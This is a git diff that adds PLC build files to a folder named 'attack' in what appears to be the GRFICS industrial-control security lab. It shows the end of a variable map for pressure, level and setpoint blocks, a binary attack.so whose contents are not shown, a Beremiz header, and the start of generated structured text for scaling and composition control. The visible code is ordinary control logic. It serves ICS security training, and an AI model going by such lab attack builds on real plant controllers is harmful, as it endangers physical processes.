+319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + 